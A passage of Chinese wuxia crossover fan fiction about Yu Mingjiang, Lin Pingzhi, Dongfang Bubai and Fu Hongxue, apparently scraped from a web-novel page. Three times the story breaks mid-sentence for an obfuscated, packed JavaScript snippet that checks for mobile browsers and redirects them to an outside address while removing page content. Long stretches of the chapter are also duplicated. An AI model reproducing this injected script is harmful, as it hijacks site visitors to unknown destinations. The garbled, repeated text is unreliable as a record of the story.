林平之下意识抓住了她的手腕,力道大得吓人,指甲几乎掐进了肉里。 尤明姜望着少年紧蹙的眉峰,轻轻叹了口气。 扶住少年单薄的肩膀,让他脑袋慢慢靠在自己肩窝里,掐住他的下巴轻轻一捏,往他嘴里塞了个布洛芬缓释胶囊,慢慢地喂了些温水。 林平之昏沉沉睁眼,恍惚间又回到了福州老宅。 “娘……娘……”他迷迷糊糊地喊着亲人,声音里满是依赖。 听见这声气若游丝的“娘”,尤明姜由他攥着手腕儿,无奈地摇了摇头。 海浪推着船板晃啊晃,风声在船外呼啸,将他拖入了梦魇。 林平之梦见自己跟着爹爹去川陕走镖。 马蹄声嘚嘚响着,爹爹笑吟吟地给他簪了朵花,可忽而场景一变,就变成了爹爹高高飞起的染血头颅。 “爹——”他惨叫一声,惊坐起来时,后背汗津津地贴着中衣。 烛花爆了个响,在寂静的舱室里格外突兀。 尤明姜单手撑腮打盹儿,听到动静,伸手摸向他的额头。 她轻轻道:“看来是发汗了。” 林平之别开脸,喉结滚动:“假惺惺的,你也是想要《辟邪剑谱》吧?” 尾音带着连自己都厌恶的颤抖。 尤明姜刚想擦拭他额角的冷汗,听到这句话,手僵在半空。 她微微眯起双眼,嘴角轻轻向下撇去,隔着傩面具都能看得出她的不悦。 过了片刻,她缓缓收回手,垂落在轮椅扶手上,手指轻轻敲击。 林平之嘴唇抿得极紧,下唇被牙齿咬得泛白,可倔强的神情依旧不减。 . . 直到一阵咕噜声打破了僵持的气氛。 林平之耳尖红得透亮,倒比高烧还要厉害些。 他饿了,这突如其来的声响让他有些窘迫。 尤明姜忽然轻笑出声,将温帕子塞进他僵硬的掌心,然后懒洋洋地撒开他的手,滚动轮椅停在桌前。 桌上有个红泥小火炉,上头用砂锅熬着米粥,米香混着一团白雾弥漫开来,粥面鼓起绵密的泡儿,溅出星星点点的米胶。 尤明姜手腕转着圈儿,撇去雪白的浮沫,把米粥盛在了粗陶碗里。她捧着粗陶碗转身,正撞见少年慌忙别开视线的侧脸。 伸手将温热的粥碗递过去:“喝了这碗粥,填饱了肚子,身上才能暖和些。” 林平之盯着碗沿蒸腾的白雾,喉结动了动,忽然想起娘煮的米粥。 每回他贪嘴吃坏了肚子,娘总会熬米粥,再絮叨说他比爹爹年轻时还要倔。 想到这里,他指尖发颤,米粥在粗瓷碗里晃出了细细的纹路。 林平之捧着热气腾腾的米粥,小口啜饮着,米粒饱满,火候恰到好处。 只是温热的粥滑入胃中,突然间,一阵凄凉涌上心头,他喉头一哽,泪珠子扑簌簌往碗里砸。 也不知道爹娘怎么样了,估计满世界找他,找他找疯了吧…… 又是一颗水珠坠入粥面,在米粥里晕开一圈圈的涟漪。 尤明姜道:“…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019959|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么哭了?” 林平之不语,只是一味抽抽噎噎的。 “你想家了?”尤明姜轻轻抽走了粗陶碗,袖口带过一阵紫草香。 少年猛地抹了把脸,指节压得眼尾通红:“你为什么要管我?” 林平之心中满是纠结,眼前的尤明姜,明明悉心照料自己,可她与紫鲸帮的关系又让他难以信任。但此刻身处困境,他又隐隐期待着她能成为自己的救命稻草。 这种矛盾的心情让他不自觉地攥紧了被角,指节都因用力而泛白。 “我捡回来的猫,自然要管到底。”轮椅碾过船板发出细响,尤明姜搅动着粗陶碗里的米粥,“更何况是这么漂亮的小猫。” 林平之耳尖瞬间烧起来,攥着被角的指节发白:“你、你这人说话……” 尤明姜笑了笑,吹凉了一勺米粥,将勺子喂到他的嘴边。他慌忙低头吞咽,却呛得米粒差点儿黏在嘴角。 “慢些喝。”她忽然伸手按住他发抖的肩膀,“我既救得下你,就护得住你。” 林平之睁大眼睛,喉头忽然发紧:“你究竟……” 尤明姜不作声,又喂了他一勺粥。少年乖乖吞咽着,烛光为她脸上的傩面具镀上了一层柔和的轮廓。 林平之借着烛光打量眼前人。 这个戴着傩面具的青衣女子,竟能让紫鲸帮的海盗们对她畏如蛇蝎。 如果不是这一次意外被抓上船,他怎么会知道原来外面的天地这么广阔。从前在镖局里坐井观天,总以为江湖好手最多和爹爹不相上下。 念头忽转:她既肯这般照料,想必不是歹人。如果她真的愿意相助…… “姐姐……”话出口才觉唐突,讪讪地挠了挠头。 尤明姜搁下空碗,挑眉道:“又肯叫我姐姐了?” 林平之涨红了脸,硬着头皮询问:“咳咳咳……那些恶人……为什么都怕姐姐啊?” 听了这话,她好奇地转头:“你从哪儿看出来,他们都怕我的?” “那些恶人见到你……”少年低头盯着自己的膝盖,“脊梁骨弯得比你这轮椅还低。” . 尤明姜听明白了。 他是在委婉地询问自己的来历,询问她是不是个更坏的大魔头。 她直言不讳道:“我是黑木崖的执法大长老。” 听到“黑木崖执法大长老”这几个字,林平之猛地抬起头,眼中满是惊惶,原本涨红的脸瞬间煞白,险些跌坐回床褥里。 他嘴唇微张,想要说些什么,喉咙却像被堵住一般,发不出半点声音。 “黑木崖……”他喃喃自语,声音里带着深深的恐惧。 江湖中谁人不知黑木崖的威名,那是令人闻风丧胆的存在。 林平之心中一阵慌乱,他深知黑木崖在江湖上的恶名,可尤明姜对他的照顾又不似作伪。他的脑海中不断回想着她刚才照顾自己的细节,喂汤、擦药、喂粥…… 黑木崖执法大长老,真的会如此悉心照料一个陌生人吗? 他额头上渗出细密的汗珠,又低声添了句:“但你……待我是好的。” 好不容易有了一丝希望,他不想轻易放弃。就算她是黑木崖的人,可只要她愿意帮忙,自己或许就能回家。 想到这里,他鼓起勇气,小心翼翼地看向尤明姜,说道:“姐姐,你……当真愿意放我回家吗?” 问出这句话后,他的心提到了嗓子眼,紧张地等待着她的回答。 尤明姜轻轻笑了笑:“江湖名声不过是过眼云烟,黑木崖在外人眼中或许是龙潭虎穴,但我救你,不过是出于本心,这样吧……” “等抵达了庆元府,我就送你下船。” . 38.执法大长老 苔藓滑腻腻的,从斑驳的砖缝里爬了出来,零落的犬吠回荡在幽静的巷子里。 尤明姜悄然跟在林平之的身后,一路暗中护送。 沿着这条蜿蜒的青石板路前行,拐过几条幽深的窄巷,再绕过一座大牌坊,就到了西街。细细看去,只见一道朱漆大门敞开,高悬着“福威镖局庆元府分号”的烫金牌匾,门口长凳上坐了位劲装佩剑的中年男子,身材魁梧,眼神中透着习武之人的精悍,一看就不是凡夫俗子。 没错,这人就是长青镖局的总镖头百里长青。 追随他的一众镖师面红耳赤,正围着个福威镖局庆元府分号的趟子手讨说法。 隐隐约约听见说什么:“你们林总镖头好大的威风!我们从辽东千里迢迢赶来,他却把我们晾在这处,说什么联合,原来就是戏耍我们的!” “……天下有这样巧的事儿,都让林家人赶到一起了?你把我们当猴儿耍么!” “走,回辽东去!” 被簇拥在中间的趟子手,脸上满是焦急与无奈,连连擦汗,一副无地自容的窘迫模样。这趟子手在镖局多年,为人忠厚老实,今日面对这等场面,实在不知如何应对,“少镖头失踪一事作不得假,总镖头已经派人去查探,诸位好汉是江湖豪杰,如果能帮得上忙,不如一同寻找。” 他一边说着,一边在心中暗自叫苦。 林总镖头这次可真是失了分寸,这可如何是好? 林震南生意手腕儿高明,特意将这次会面安排在了庆元府,庆元府地处三江汇流处,港埠交通便利,四通八达,在这等富庶之地,常押送贵重货物,擢选的都是拳脚工夫了得的镖师,就连趟子手都个个身强力壮,精气神也格外抖擞。林震南向来听说百里长青在辽东威望极高,害怕失了脸面,才着意这样安排。只是不曾想,儿子林平之前些日子失踪,林震南顿时失了分寸,着急忙慌地去找。 想到这里,趟子手心里叫苦不迭,面上却仍说着好话儿。 尤明姜看得啧舌,怎么一转眼的工夫,人就恼了起来? 她刚才过来看的时候,还好好的呢? . . 刚开始瞧见了那个老门房,尤明姜就觉得不太对劲儿。 镖局的门房,通常是有经验或者年轻力壮的趟子手,尤其是福威镖局敢在庆元府开分号,自然是要顾得体面的。 那老人做个扫地杂役,或许使得,要说是镖局的门房,形象还是差点儿火候。 再加上瞥见那枚蛇鳞,她担心这褔威镖局遭了毒手,特意来探了探情况,却发现百里长青已接手了福威镖局的巡防,上上下下如铁桶一块,十分安全。 两厢的镖师们坐在厅里寒暄喝茶,看起来氛围倒是融洽。 她也就放心地折返回小巷。 没想到,一过来就看见碧蛇神君要杀林平之。 在尤明姜眼中,十二星相在江湖里,不过是一群成不了气候的跳梁小丑,他们行事毫无底线,仗着有些微末伎俩,搅得镖行不得安宁。 十二星相里的【白山君】,尚且没什么斤两,更不要说区区使毒的【碧蛇神君】,比七月十五分舵吸纳的鹰爪队还不济。 这些个腌臜货色,当年放在崖州分舵,是给她提鞋也不配的。 她也是真的没想到,林平之竟然比自己想象得还弱。 她原以为,林平之毕竟是少镖头,身负重伤才这么狼狈,没想到打个碧蛇神君都费劲儿。听他们这番对话,林平之应该是家族里极为受宠的独苗苗,既然如此,他爹为什么不让他学什么劳什子的《辟邪剑谱》呢? . 正沉思间,林平之已经几步跃上阶梯,把身上遮雨的油毡布甩到一边,双手抱拳,急忙迎上前:“各位好汉稍安勿躁,有话慢慢说。” 被围着的趟子手,见了这张眼熟的漂亮脸蛋,眼前一亮:“少镖头!” 辽东好汉们先是一怔,见他美则美矣,却像个落汤鸡似的,狼狈不堪。 随即道:“你又是谁?别以为随便来个人就能把我们打发了。” 林平之连忙解释:“我是福威镖局的少镖头林平之,这次福威镖局确实有不妥之处,让各位大老远赶来,却遭受冷待,只是家父是因为我被紫鲸帮捉走才会延误会面。还请各位大哥海涵,请百里世伯海涵。” 众人听到他这么说,相互对视了几眼,情绪渐渐平复了下来。 这些镖师只不过是要个说法,只要处理得当,倒是不难安抚。 他已经不是小孩子,自然应该拿出大人的模样。 百里长青仔细打量他,见他相貌绮丽,言语文雅,虽然沾了满脸的泥点子,身上还有伤势,又嘴甜地喊自己为“世伯”,大大方方的,十分敞亮,一时心生好感。 百里长青缓和了语气,拍了拍他的肩膀:“原来你就是平之贤侄,不要慌张,误会解开了就好。我这些兄弟们也是急性子,你不要往心里去。不过,你这是……” 听到主心骨这样说,林平之松了口气,这福威镖局的风波暂时是过去了。 他苦笑,请众人进去:“这事儿说来话长,各位好汉,咱回厅里继续喝茶。” 待众人都进了府,趟子手悄悄凑到林平之耳边,竖起大拇指,小声说:“还好少镖头来得及时,真是越来越有您祖父的风姿了。” 见事态已经平息,尤明姜默默转身离去。 林平之似有所感,回头深深望了一眼,终于命人合上了大门。 . 尤明姜撑着伞,从巷子里走了出来。 香饵之下,必有死鱼。 这般明晃晃的直钩,偏偏抛到了尤明姜的心坎上。 很明显,碧蛇神君就是青龙会撒下的一枚饵料。 所谓“愿者上钩”,可惜了,撒错了鱼塘,不小心扔在了鳄鱼的嘴边。 她不给这些人来个死亡翻滚,真当她是旱地里的泥鳅了! 青龙会这个组织就是个饕餮转世,已经不是敲骨吸髓的程度了。那简直是把活人生生熬成透亮的猪油,连炼油剩下的脂渣都得吃干抹净。 在青龙会眼里,所有人都是会走路的薪柴而已,在烧干净最后一丝儿火星之前,连灰儿都要被风吹着再飘三丈远。 青龙会骨子里流淌着的,就是最卑劣的奴役文化。 可惜尤明姜一身反骨,她不会乖乖就范。 即便她当时不叛逃,以后也会有忍无可忍,直接火并的那一天。 日月神教,却和它们的行径大不相同。 尤其是黑木崖上已掌实权的东方不败,是个很有意思的人。 她和海红珠父女俩汇合后,没过多长时间就迎来了这位天乙贵人。 以她在平定州义诊和施粥的动静,想必瞒不过这位的耳目。 就在这种隐晦的默契下,两个人见了一次面。 . 那夜月色昏暗,尤明姜掌了油灯,红泥小火炉上烧了壶水。 来人摘下兜帽,露出一张苍白的脸,面对面与她坐着说话。 她微微点了点头:“东方左使。” “老枞水仙的味道,尤大夫真是好客,舍得好茶招待。” 尤明姜拧开锡罐子,把里头储放的油乌粗叶露给他看,“确实,这是三坑两涧的佳品,树龄七十多年,虽不是百年老枞,但是茶汤极好。我平时是不舍得喝的,但是招待贵客,还是要有些拿得出手的玩意儿。” “没想到尤大夫会觉得我是贵客。” “阁下手握大权,翻手为云,覆手为雨,自然是座上宾。”眼角余光瞥到一旁的白瓷盖碗,尤明姜哑然失笑,“沸水高冲可以么?我怕醒不好茶,也喝不惯浮浡。” 说话间,她已经烫过盖碗,取来分茶勺,往盖碗里舀上适量的茶叶摇香,再将烧滚的水高冲注入盖碗里,枞味腾起,淡淡的木质香萦绕在鼻尖,头汤就是清澈的琥珀色,看来醅火工艺极佳。 “我不喝冷汤。趁热连饮,头汤都是精华。” 尤明姜淡淡地笑了笑:“那我就不留还魂汤了。” 东方不败打量着斟茶的尤明姜。 她就像是这一道老枞水仙,气韵独特,清雅醇厚之余,还蕴含着一些深沉的伴生香味。 尤明姜倒了一盏醇香四溢的热茶,递到了他的手边。 东方不败端起茶盏,晃杯嗅了嗅,浅啜了一小口,醇浓的兰花香漾在了唇齿间,“你倒是心宽,旁人听到了黑木崖,恨不得退避三舍,你倒是和他们不一样。” 尤明姜搁下茶杯,“阁下说这话,是代表着黑木崖,还是仅代表自己?” 东方不败道:“我这次前来,不是代表黑木崖,而是代表我自己。” 尤明姜静静地看着他说下去。 东方不败道:“如果不是尤大夫,景阳冈的时疫恐怕早就蔓延开了。我对尤大夫甚是敬仰。现在想来,尤大夫不仅治时疫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031636|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手段奇特,忧民之心也着实瞩目。” 尤明姜垂下眼眸,不动声色地抿了口茶水。 听说东方不败已是黑木崖的光明左使,日月神教未来的新一任教主。 他在自己面前突然说这些话,葫芦里卖的是什么药? 东方不败施施然道:“感谢尤大夫救命之恩。” 尤明姜皱了皱眉,努力回想自己什么时候救过他,却始终没有印象。 她将茶水一饮而尽,不像是在喝茶,倒像在喝酒,轻叹道:“有话不妨直说。” 东方不败抿了口茶,并不多作解释,转开话题道:“尤大夫在平定州为穷苦百姓义诊,救治了许许多多的苦命人,本座心里颇为感慨,只是治得了标,治不了本……” “东方左使有何高见?” “尤大夫,能治治这个吃人的世道么?” . . 东方不败的话,在她心里激起了千层浪。 她明白,这是一个改变江湖格局的契机。 在他将黑木崖的形势讲过一遍后,尤明姜选择了执法大长老之位。 执法大长老是日月神教从未开启过的先河,也意味着或许只是个光杆儿称号。 但是尤明姜不在乎。 她将手伸出伞外,试了试雨星的大小,“不试怎么知道雨势大不大。” . 雨渐渐停了。 今天下元节,是水官大帝的生日,道教宫观在举行斋醮法事,道士们诵经礼拜,江边许多人在这里放纸扎灯。 听说今晚还有乡绅筹备了好几树的药发木偶表演。 丁灵琳拖着叶开往前走:“你快点走嘛,我还没见过药发木偶呢!” 叶开无奈道:“丁大小姐,你急什么?药发木偶又跑不了。” 他一边说,一边轻轻戳了戳丁灵琳的腰,示意她看一眼傅红雪。 傅红雪脸色苍白,裹着黑裘衣,慢吞吞地走在熙熙攘攘的人群里。 他身影看起来萧索又落寞,那双孤星似的亮眸,也看不出曾经的神采。 丁灵琳于心不忍,戳了戳叶开的腰,极力压低声音:“傅红雪还是老样子。” 叶开屈指点了点她的鼻子,“你不要总和我打闹,省得往他心口上撒盐。” 丁灵琳不服气地扬了扬拳头,转念一想,又轻轻一叹:“她叫什么?” 叶开道:“尤明姜。” 丁灵琳道:“听起来就是个很温暖的名字。” 傅红雪听得到两个人的对话。 他只是默默地走,一言不发。 听到这个名字,傅红雪心里就是一痛,他默默走向了另外一端。 叶开和丁灵琳互相对视一眼,终究没有开口阻拦。 尤明姜逛到了附近,把伞收进竹编药篓里,顺便摘下脸上的傩面具透透气。 附近有个卖糖炒栗子的,香气袭人,隔着老远就往她的鼻子里钻,她取了串儿铜钱,就跟着人流往前拱。 傅红雪不打算在江边逗留,正要转身离开,一道身影忽从他眼前掠过。 他无意中瞥了一眼,却如遭雷殛,当场愣在了原地。 人潮涌动里,他的视野里却只剩了一人。 他怔怔地望着那道眼熟的身影。 她一袭青衣,背着竹编药篓,无论在街市上看到什么,都是一副兴致勃勃的模样。光是一个侧脸,他却已在心里补全了她的容貌。 傅红雪抖若筛糠,眼泪已抢先落下,他嗓音沙哑,喊得吃力:“……明姜!” 尤明姜下意识地回头:“嗯?” 她转过脸去,只见傅红雪站在灯火阑珊处,死死地盯着她。 他好像瘦得厉害。 黑裘衣在瘦削的身上打逛荡,下巴上还有青青的胡茬,眼窝黑沉沉的,一副憔悴到了极点的样子。 傅红雪强忍着眼泪,拨开熙熙攘攘的人群,一步一步朝着她走近。 每一步都带着难以置信与小心翼翼,靠近又怕是幻影,不上前又怕错过。 天! 这人居然是傅红雪。 尤明姜脑子“嗡”一声,呆呆地望着他。 心中五味杂陈,千言万语,却不知从何说起。 她望着傅红雪,嘴唇微微动了动,却发不出声音。 周围的喧嚣声渐渐远去,整个世界仿佛只剩下他们两人。 . . 38.执法大长老 苔藓滑腻腻的,从斑驳的砖缝里爬了出来,零落的犬吠回荡在幽静的巷子里。 尤明姜悄然跟在林平之的身后,一路暗中护送。 沿着这条蜿蜒的青石板路前行,拐过几条幽深的窄巷,再绕过一座大牌坊,就到了西街。细细看去,只见一道朱漆大门敞开,高悬着“福威镖局庆元府分号”的烫金牌匾,门口长凳上坐了位劲装佩剑的中年男子,身材魁梧,眼神中透着习武之人的精悍,一看就不是凡夫俗子。 没错,这人就是长青镖局的总镖头百里长青。 追随他的一众镖师面红耳赤,正围着个福威镖局庆元府分号的趟子手讨说法。 隐隐约约听见说什么:“你们林总镖头好大的威风!我们从辽东千里迢迢赶来,他却把我们晾在这处,说什么联合,原来就是戏耍我们的!” “……天下有这样巧的事儿,都让林家人赶到一起了?你把我们当猴儿耍么!” “走,回辽东去!” 被簇拥在中间的趟子手,脸上满是焦急与无奈,连连擦汗,一副无地自容的窘迫模样。这趟子手在镖局多年,为人忠厚老实,今日面对这等场面,实在不知如何应对,“少镖头失踪一事作不得假,总镖头已经派人去查探,诸位好汉是江湖豪杰,如果能帮得上忙,不如一同寻找。” 他一边说着,一边在心中暗自叫苦。 林总镖头这次可真是失了分寸,这可如何是好? 林震南生意手腕儿高明,特意将这次会面安排在了庆元府,庆元府地处三江汇流处,港埠交通便利,四通八达,在这等富庶之地,常押送贵重货物,擢选的都是拳脚工夫了得的镖师,就连趟子手都个个身强力壮,精气神也格外抖擞。林震南向来听说百里长青在辽东威望极高,害怕失了脸面,才着意这样安排。只是不曾想,儿子林平之前些日子失踪,林震南顿时失了分寸,着急忙慌地去找。 想到这里,趟子手心里叫苦不迭,面上却仍说着好话儿。 尤明姜看得啧舌,怎么一转眼的工夫,人就恼了起来? 她刚才过来看的时候,还好好的呢? . . 刚开始瞧见了那个老门房,尤明姜就觉得不太对劲儿。 镖局的门房,通常是有经验或者年轻力壮的趟子手,尤其是福威镖局敢在庆元府开分号,自然是要顾得体面的。 那老人做个扫地杂役,或许使得,要说是镖局的门房,形象还是差点儿火候。 再加上瞥见那枚蛇鳞,她担心这褔威镖局遭了毒手,特意来探了探情况,却发现百里长青已接手了福威镖局的巡防,上上下下如铁桶一块,十分安全。 两厢的镖师们坐在厅里寒暄喝茶,看起来氛围倒是融洽。 她也就放心地折返回小巷。 没想到,一过来就看见碧蛇神君要杀林平之。 在尤明姜眼中,十二星相在江湖里,不过是一群成不了气候的跳梁小丑,他们行事毫无底线,仗着有些微末伎俩,搅得镖行不得安宁。 十二星相里的【白山君】,尚且没什么斤两,更不要说区区使毒的【碧蛇神君】,比七月十五分舵吸纳的鹰爪队还不济。 这些个腌臜货色,当年放在崖州分舵,是给她提鞋也不配的。 她也是真的没想到,林平之竟然比自己想象得还弱。 她原以为,林平之毕竟是少镖头,身负重伤才这么狼狈,没想到打个碧蛇神君都费劲儿。听他们这番对话,林平之应该是家族里极为受宠的独苗苗,既然如此,他爹为什么不让他学什么劳什子的《辟邪剑谱》呢? . 正沉思间,林平之已经几步跃上阶梯,把身上遮雨的油毡布甩到一边,双手抱拳,急忙迎上前:“各位好汉稍安勿躁,有话慢慢说。” 被围着的趟子手,见了这张眼熟的漂亮脸蛋,眼前一亮:“少镖头!” 辽东好汉们先是一怔,见他美则美矣,却像个落汤鸡似的,狼狈不堪。 随即道:“你又是谁?别以为随便来个人就能把我们打发了。” 林平之连忙解释:“我是福威镖局的少镖头林平之,这次福威镖局确实有不妥之处,让各位大老远赶来,却遭受冷待,只是家父是因为我被紫鲸帮捉走才会延误会面。还请各位大哥海涵,请百里世伯海涵。” 众人听到他这么说,相互对视了几眼,情绪渐渐平复了下来。 这些镖师只不过是要个说法,只要处理得当,倒是不难安抚。 他已经不是小孩子,自然应该拿出大人的模样。 百里长青仔细打量他,见他相貌绮丽,言语文雅,虽然沾了满脸的泥点子,身上还有伤势,又嘴甜地喊自己为“世伯”,大大方方的,十分敞亮,一时心生好感。 百里长青缓和了语气,拍了拍他的肩膀:“原来你就是平之贤侄,不要慌张,误会解开了就好。我这些兄弟们也是急性子,你不要往心里去。不过,你这是……” 听到主心骨这样说,林平之松了口气,这福威镖局的风波暂时是过去了。 他苦笑,请众人进去:“这事儿说来话长,各位好汉,咱回厅里继续喝茶。” 待众人都进了府,趟子手悄悄凑到林平之耳边,竖起大拇指,小声说:“还好少镖头来得及时,真是越来越有您祖父的风姿了。” 见事态已经平息,尤明姜默默转身离去。 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东方不败端起茶盏,晃杯嗅了嗅,浅啜了一小口,醇浓的兰花香漾在了唇齿间,“你倒是心宽,旁人听到了黑木崖,恨不得退避三舍,你倒是和他们不一样。” 尤明姜搁下茶杯,“阁下说这话,是代表着黑木崖,还是仅代表自己?” 东方不败道:“我这次前来,不是代表黑木崖,而是代表我自己。” 尤明姜静静地看着他说下去。 东方不败道:“如果不是尤大夫,景阳冈的时疫恐怕早就蔓延开了。我对尤大夫甚是敬仰。现在想来,尤大夫不仅治时疫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15031636|159209||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手段奇特,忧民之心也着实瞩目。” 尤明姜垂下眼眸,不动声色地抿了口茶水。 听说东方不败已是黑木崖的光明左使,日月神教未来的新一任教主。 他在自己面前突然说这些话,葫芦里卖的是什么药? 东方不败施施然道:“感谢尤大夫救命之恩。” 尤明姜皱了皱眉,努力回想自己什么时候救过他,却始终没有印象。 她将茶水一饮而尽,不像是在喝茶,倒像在喝酒,轻叹道:“有话不妨直说。” 东方不败抿了口茶,并不多作解释,转开话题道:“尤大夫在平定州为穷苦百姓义诊,救治了许许多多的苦命人,本座心里颇为感慨,只是治得了标,治不了本……” “东方左使有何高见?” “尤大夫,能治治这个吃人的世道么?” . . 东方不败的话,在她心里激起了千层浪。 她明白,这是一个改变江湖格局的契机。 在他将黑木崖的形势讲过一遍后,尤明姜选择了执法大长老之位。 执法大长老是日月神教从未开启过的先河,也意味着或许只是个光杆儿称号。 但是尤明姜不在乎。 她将手伸出伞外,试了试雨星的大小,“不试怎么知道雨势大不大。” . 雨渐渐停了。 今天下元节,是水官大帝的生日,道教宫观在举行斋醮法事,道士们诵经礼拜,江边许多人在这里放纸扎灯。 听说今晚还有乡绅筹备了好几树的药发木偶表演。 丁灵琳拖着叶开往前走:“你快点走嘛,我还没见过药发木偶呢!” 叶开无奈道:“丁大小姐,你急什么?药发木偶又跑不了。” 他一边说,一边轻轻戳了戳丁灵琳的腰,示意她看一眼傅红雪。 傅红雪脸色苍白,裹着黑裘衣,慢吞吞地走在熙熙攘攘的人群里。 他身影看起来萧索又落寞,那双孤星似的亮眸,也看不出曾经的神采。 丁灵琳于心不忍,戳了戳叶开的腰,极力压低声音:“傅红雪还是老样子。” 叶开屈指点了点她的鼻子,“你不要总和我打闹,省得往他心口上撒盐。” 丁灵琳不服气地扬了扬拳头,转念一想,又轻轻一叹:“她叫什么?” 叶开道:“尤明姜。” 丁灵琳道:“听起来就是个很温暖的名字。” 傅红雪听得到两个人的对话。 他只是默默地走,一言不发。 听到这个名字,傅红雪心里就是一痛,他默默走向了另外一端。 叶开和丁灵琳互相对视一眼,终究没有开口阻拦。 尤明姜逛到了附近,把伞收进竹编药篓里,顺便摘下脸上的傩面具透透气。 附近有个卖糖炒栗子的,香气袭人,隔着老远就往她的鼻子里钻,她取了串儿铜钱,就跟着人流往前拱。 傅红雪不打算在江边逗留,正要转身离开,一道身影忽从他眼前掠过。 他无意中瞥了一眼,却如遭雷殛,当场愣在了原地。 人潮涌动里,他的视野里却只剩了一人。 他怔怔地望着那道眼熟的身影。 她一袭青衣,背着竹编药篓,无论在街市上看到什么,都是一副兴致勃勃的模样。光是一个侧脸,他却已在心里补全了她的容貌。 傅红雪抖若筛糠,眼泪已抢先落下,他嗓音沙哑,喊得吃力:“……明姜!” 尤明姜下意识地回头:“嗯?” 她转过脸去,只见傅红雪站在灯火阑珊处,死死地盯着她。 他好像瘦得厉害。 黑裘衣在瘦削的身上打逛荡,下巴上还有青青的胡茬,眼窝黑沉沉的,一副憔悴到了极点的样子。 傅红雪强忍着眼泪,拨开熙熙攘攘的人群,一步一步朝着她走近。 每一步都带着难以置信与小心翼翼,靠近又怕是幻影,不上前又怕错过。 天! 这人居然是傅红雪。 尤明姜脑子“嗡”一声,呆呆地望着他。 心中五味杂陈,千言万语,却不知从何说起。 她望着傅红雪,嘴唇微微动了动,却发不出声音。 周围的喧嚣声渐渐远去,整个世界仿佛只剩下他们两人。 . . 39.药发木偶 周遭人潮涌动,她却像黑夜里晃眼的灯塔,引导着他的航行。 衣袂被风掀起又落下,她歪头的神情与记忆里分毫不差。 三丈,两丈,一丈。 心脏突然在胸腔炸开闷痛,膝盖不受控地发软,却还在兀自向前倾身。 隔着一丈远,傅红雪却生了怯,停下了脚步。 这个世界上真的有死而复活的神迹吗? 这些时日在月下跪破的膝盖,当真换来了上苍的垂怜? 还是说,他又魇住了,醒来又是一枕槐安? 他恨不得马上扑过去,可是又怕扑过去,兜住的又是一阵风。 傅红雪咬破了舌尖,铁锈味立刻弥漫在唇齿间。 疼。 原来不是梦。 这具残破的身体总是这样,一旦大喜大悲,就会抽搐着痉挛,他嘴唇泛白,随时都有可能倒在地上,跟抽搐的山羊似的口吐白沫儿。 但他不在乎了。 如果她肯为自己停下脚步,他宁愿呕出心来。 定定对视了良久,傅红雪双眼通红,陡然拨开乌泱泱的人群,一步一颤,不躲不避,直直地奔她而来。 如此一来,难免与周围人产生些许磕绊。 有人骂骂咧咧地推搡他,有货郎的扁担擦过他的额头,可他浑然不觉、充耳不闻,踉跄着往前挨,眼睛只是死死地盯着那道身影。 生怕稍微一错开视线,她又会化作一抔星光消散在眼前。 这般神情让尤明姜想起了扑蝴蝶的孩童,明明是心急火燎的,偏偏还要屏着气儿往前凑,生怕把蝴蝶惊走了,连呼吸重一点儿都成了困扰。 尤明姜于心不忍,抬脚想走向他,可是才挪了半步,他眼底就露出了惊鹿似的水光。 那是一种绝望的、心悸的、惶惶然的神色。 她不敢动了,只好站在原地,等着他向自己走过来。 他像个刚刚学步的婴孩,一瘸一拐,晃晃悠悠地走了过来。 剩下咫尺距离,他忽地张开双臂,一把用力抱住了她。 双臂勒得很紧,像是抓住了一根救命稻草,却仍止不住地浑身颤栗。 鼻尖萦绕着熟悉的紫草香,是活生生的、会呼吸的尤明姜。 他泪流满面道:“找……找到了。” 破碎的哽咽混杂着血沫子,佝偻着脊背将脸埋在她的肩窝。 是下元节的月光太重,重得压弯了十九年孤寂的脊梁。 傅红雪想起自己从前读《长恨歌》,总嫌“上穷碧落下黄泉”来得浮夸和矫情,可在此时此刻,他才深深体会到了这句话的凄凉。 思念是门檐下垂挂的雨,落雨声敲着敲着,就沁进了心底。 人世间的每一次重逢,何尝不是一次次刻意的寻觅。 哪里需要踏遍什么碧落黄泉呢? 只是关帝庙神龛前的蒲团,都能叫他把三魂七魄都碎在风里。 尤明姜被这个突然的拥抱吓了一跳。 看见这一幕,路人纷纷投来了惊奇的目光,那药发木偶再怎么精彩,也没有这场面有乐子吧? 她支楞着双手,在周遭儿的哄笑声里,尴尬得不知所措。 尤明姜讷讷道:“傅……红雪?” 她很想掰开他的胳膊,很想提醒他,大庭广众之下不要搂搂抱抱。 可是一滴滚烫的眼泪沾在她的脖颈上,带来一阵细微的刺痛。 尤明姜不知道该怎么办好了。 